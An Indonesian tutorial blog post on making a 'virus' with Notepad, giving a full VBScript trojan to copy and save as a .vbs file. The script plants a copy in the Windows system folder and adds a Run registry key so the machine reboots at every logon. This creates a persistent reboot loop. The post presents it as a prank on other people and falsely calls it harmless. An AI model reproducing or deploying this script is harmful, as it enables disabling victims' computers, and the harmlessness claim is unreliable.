Cara Membuat Virus Sederhana Dengan Notepad Format .vbs

Banyak sekali hal yang bisa kita lakukan di komputer. Salah satunya jika kita ingin berbuat usil atau mengerjakan orang. Hal yang bisa dilakukan membuat semacam virus di aplikasi notepad. Cara membuat virus dengan notepad tidaklah sulit. Hitung-hitung belajar bagaimana ahli program membuat virus, bagian ini adalah hal dasarnya.

Notepad merupakan sebuah text editor simple yang sudah ada sejak Windows 1.0 di sekitar tahun 1985, fungsi notepad dari dulu sampai sekarang dianggap masih sama saja yaitu untuk menulis pesan pendek ( bukan SMS ) notepad juga bisa menyimpan dan membaca semua program bahasa komputer. Mungkin salah satu anda ada bertanya bagaimana caranya. Pada kesempatan kali ini kami ingin memberitahukan kepada anda sekalian tentang bagaimana cara membuat virus trojan dengan notepad.

Langsung aja jika ingin membuat virus dengan notepad adapun langkah-langkahnya sebagi berikut silahkan diikuti dan perhatikan dengan serius:

1. Buka notepad

2. Jika sudah lalu copy lah kode dibawah ini :

rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

3. Jika sudah lalu save dengan format ".vbs"

4. Sebagai contoh saya menyimpan file dengan nama "akuvirus.vbs"

Sederhana bukan, walaupun begitu virus ini tidaklah berbahaya. Demikianlah cara membuat virus sederhana dengan menggunakan notepad. Diharapkan ilmu ini digunakan secara bijak, jangan sampai merugikan orang lain.

Jika artikel ini bermanfaat untuk anda, jangan lupa untuk bagikan ke sosial media anda. Terimakasih telah membagikan artikel ini, temukan artikel lain yang menarik di bawah ini.